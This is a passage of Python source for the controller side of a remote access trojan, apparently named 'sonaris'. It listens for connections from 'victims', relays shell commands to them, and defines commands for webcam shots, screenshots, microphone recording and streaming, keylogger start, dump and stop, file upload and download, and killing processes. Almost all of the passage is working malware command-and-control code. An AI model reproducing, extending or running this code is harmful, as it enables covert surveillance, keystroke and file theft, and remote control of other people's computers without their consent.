f'./{header["path"]}/{header["namefile"]}{header["extension"]}') 336 | else: 337 | printr(header['content']) 338 | except EOFError: 339 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 340 | self.removecurrentSession() # removing the current session because connection probaly was lost 341 | else: 342 | printr('Info: Download an external file. [green]Ex: /download sóastop.mp3') 343 | 344 | # taking a webcam shot from client side 345 | def webcamshot(self, args): 346 | self.checkFolders() 347 | 348 | if self.userAttached: 349 | try: 350 | self.sendLastCommand() 351 | 352 | header = self.receiveHeader() 353 | if args: 354 | if header['sucess']: 355 | data = self.receiveFile(header) 356 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}') 357 | else: 358 | printr(header["content"]) 359 | else: 360 | if header['sucess']: 361 | printr(header['content']) 362 | printr(f'[green]Pass any webcam [yellow]Id[green] to take a webcamshot | Ex: [yellow]/webcamshot 2') 363 | else: 364 | printr(header["content"]) 365 | except EOFError: 366 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 367 | self.removecurrentSession() # removing the current session because connection probaly was lost 368 | else: 369 | printr('Info: Takes a webcamshot of the user you are attached') 370 | 371 | # taking a screenshot from client side 372 | def screenshot(self, args): 373 | if self.userAttached: 374 | self.sendLastCommand() 375 | try: 376 | header = self.receiveHeader() 377 | data = self.receiveFile(header) 378 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}') 379 | except EOFError: 380 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 381 | self.removecurrentSession() # removing the current session because connection probaly was lost 382 | else: 383 | printr('Info: Takes a screenshot of the user you are attached') 384 | 385 | # calculating time response of some command | param: seconds of the period 386 | def calculateElapsedTime(self, seconds): 387 | seconds = seconds % (24 * 86400) 388 | day = seconds // 86400 389 | seconds = seconds - (day * 86400) 390 | hour = seconds // 3600 391 | seconds = seconds - (hour * 3600) 392 | minutes = seconds // 60 393 | seconds = seconds - (minutes * 60) 394 | 395 | return int(hour), int(minutes), seconds 396 | 397 | # adding the user to a session 398 | def addUser(self, data): 399 | self.connectedUsers.update({data['name']: data}) 400 | 401 | # removing the current session attached 402 | def removecurrentSession(self): 403 | self.connectedUsers.pop(self.userAttached) 404 | self.detach() 405 | 406 | # removing the user from a session 407 | def removeUserSession(self, name): 408 | if name: 409 | if self.connectedUsers.get(name): 410 | if self.userAttached: 411 | self.detach(self.userAttached) 412 | self.connectedUsers.pop(name) 413 | printr(f'[green] Session with [yellow]{name} [green]removed!') 414 | else: 415 | printr(f'[red] There is no open session with [yellow]{name}.') 416 | else: 417 | printr('Info: Removes an active section. [green]Ex: /rmsession zNairy-PC') 418 | 419 | # cleaning the screen (obviously) 420 | def clearScreen(self, args=''): 421 | system('clear' if uname().sysname.lower() == 'linux' else 'cls') 422 | 423 | # showing the active sessions 424 | def showSessions(self, args): 425 | if self.connectedUsers: 426 | print(''.join(f' -{name}\n' for name in self.connectedUsers.keys())) 427 | else: 428 | printr('[yellow] There is no open sessions currently.') 429 | 430 | # showing the version of program 431 | def showVersion(self, args): 432 | printr(__version__) 433 | 434 | # showing how you can contact the author of code 435 | def showContact(self, args): 436 | printr(__contact__) 437 | 438 | # showing the author of code | "well, of couse i know him. He's me" 439 | def showCodeAuthor(self, args): 440 | printr(__author__) 441 | 442 | # closing the session/terminal session and exiting the program 443 | def closeTerminal(self, args=''): 444 | exit() 445 | 446 | # showing the available commands to use 447 | def availableCommands(self, args): 448 | printr(''.join(f' {command}\n' for command in self.allCommands.keys() )) 449 | 450 | # showing only the internal commands 451 | def internalcommands(self, args): 452 | printr(''.join(f' {command}\n' for command in self.allCommands.keys() if self.allCommands[command]['local'])) 453 | 454 | # return all defined commands of program | setting a new command, name, your action, features... 455 | def setAllCommands(self): 456 | commands = { 457 | "/attach": {"local": True, "action": self.attach}, 458 | "/detach": {"local": True, "action": self.detach}, 459 | "/sessions": {"local": True, "action": self.showSessions}, 460 | "/sessioninfo": {"local": True, "action": self.sessionInfo}, 461 | "/userinfo": {"local": True, "action": self.userInfo}, 462 | "/rmsession": {"local": True, "action": self.removeUserSession}, 463 | "/screenshot": {"local": False, "action": self.screenshot}, 464 | "/webcamshot": {"local": False, "action": self.webcamshot}, 465 | "/download": {"local": False, "action": self.download}, 466 | "/upload": {"local": False, "action": self.upload}, 467 | "/processlist": {"local": False, "action": self.getProcessList}, 468 | "/processinfo": {"local": False, "action": self.getProcessInfo}, 469 | "/terminateprocess": {"local": False, "action": self.terminateProcess}, 470 | "/micrecord": {"local": False, "action": self.micRecord}, 471 | "/micstream": {"local": False, "action": self.micStream}, 472 | "/kloggerstart": {"local": False, "action": self.kloggerStart}, 473 | "/kloggerdump": {"local": False, "action": self.kloggerDump}, 474 | "/kloggerstop": {"local": False, "action": self.kloggerStop}, 475 | "/author": {"local": True, "action": self.showCodeAuthor}, 476 | "/contact": {"local": True, "action": self.showContact}, 477 | "/version": {"local": True, "action": self.showVersion}, 478 | "/internalcommands": {"local": True, "action": self.internalcommands} 479 | } 480 | 481 | commands.update({"/commands": {"local": True, "action": self.availableCommands}}) # adding /commands to show all commands available to use 482 | 483 | return commands 484 | 485 | # returns function of the command (your action) and your respective arguments, if exists, if not returns False. 486 | def splitCommand(self, command): 487 | if self.allCommands.get(command.split()[0]): 488 | # 0: function, 1: args | example: /attach znairy = self.attach, 'znairy' 489 | return self.allCommands[command.split()[0]]["action"], ''.join(f'{cmd} ' for cmd in command.split()[1:]) 490 | 491 | return False, '' # command does not exist 492 | 493 | # checking the possible commands (strings that starts with "/") 494 | def runCommand(self, command): 495 | self.lastCommand = command 496 | 497 | command, args = self.splitCommand(command) 498 | if command: 499 | command(args.strip()) # running the command passing your arguments # 500 | else: 501 | printr('[red] Command does not exist.') 502 | 503 | # receiving bytes from command response 504 | def receiveCommand(self, header): 505 | received = b'' 506 | while len(received) < header['bytes']: 507 | received += self.getCurrentUser()['conn'].recv(header['bytes']) 508 | 509 | print(received.decode()) 510 | 511 | h, m, s = self.calculateElapsedTime(time() - header["initialTime"]);del(h,m) 512 | printr(f'returned in {s:.1f} seconds.') # time response of command 513 | 514 | # sending last used command 515 | def sendLastCommand(self): 516 | self.getCurrentUser()['conn'].send(self.lastCommand.encode()) 517 | 518 | # send command to be execute in shell of client side 519 | def sendCommand(self, command): 520 | self.lastCommand = command 521 | 522 | if self.userAttached: # if exists session attached 523 | self.sendLastCommand() 524 | try: 525 | header = self.receiveHeader() # receiving header of the command 526 | self.userCwd = header['currentDirectory'] # updating the current directory you are 527 | self.receiveCommand(header) 528 | except EOFError: 529 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 530 | self.removecurrentSession() # removing the current session because connection probaly was lost 531 | else: 532 | printr('[yellow] No session currently attached.') 533 | 534 | # starting the 'terminal' to get commands 535 | def startTerminal(self): 536 | try: 537 | while True: 538 | # yourusername@sonaris: current directory you are 539 | printr(f'[green]{getuser()}'+ '[white]@' + f'[green]sonaris[white]:{self.userCwd}# ', end='') 540 | command = input().strip() 541 | 542 | if command: 543 | if command.split()[0] not in ['clear', 'cls', 'exit']: # 'especial' commands 544 | if command.startswith('/'): # characteristic of an server command 545 | self.runCommand(command) 546 | else: 547 | self.sendCommand(command) # send to client side 548 | else: 549 | self.especialCommands[command.split()[0]]() 550 | except KeyboardInterrupt: 551 | print() 552 | exit() 553 | 554 | # start a thread 555 | def startProcess(self, function, arg=()): 556 | thread = Thread(target=function) 557 | thread.daemon = True 558 | thread.start() 559 | 560 | # receive the connections from the 'victims' in a paralel process 561 | def listenConnections(self): 562 | while True: 563 | connection, address = self.__Server.accept();del(address) 564 | response = loads(connection.recv(1024)) 565 | response.update({"conn": connection, "initialTime": time()}) 566 | self.addUser(response) 567 | printr(f'\n[yellow][*] Incoming connection from [green]{response["name"]}:{response["SO"]}') 568 | printr(f'[green]{getuser()}'+ '[white]@' + f'[green]sonaris[white]#:{self.userCwd}# ', end='') 569 | 570 | # configuring the socket object 571 | def configureSocket(self): 572 | try: 573 | self.__Server = socket(AF_INET, SOCK_STREAM) 574 | self.__Server.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 575 | self.__Server.bind(self.__Address) 576 | self.__Server.listen(1) 577 | except OverflowError: 578 | printr(f' "{self.__Address[1]}" [red]Port too large, must be 0-65535');exit(1) 579 | except OSError: 580 | printr(f' "{self.__Address[0]}" Cannot assign requested address');exit(1) 581 | except gaierror: 582 | printr(f' "{self.__Address[0]}" [red]Name or service not known');exit(1) 583 | 584 | # showing the info/configuration of the server (your address and port) 585 | def info(self): 586 | return f' Server is open on {self.__Address[0]}:{self.__Address[1]}' 587 | 588 | # starting the program 589 | def run(self): 590 | self.configureSocket() 591 | 592 | printr(self.info()) 593 | self.startProcess(self.listenConnections) 594 | self.startTerminal() 595 | --------------------------------------------------------------------------------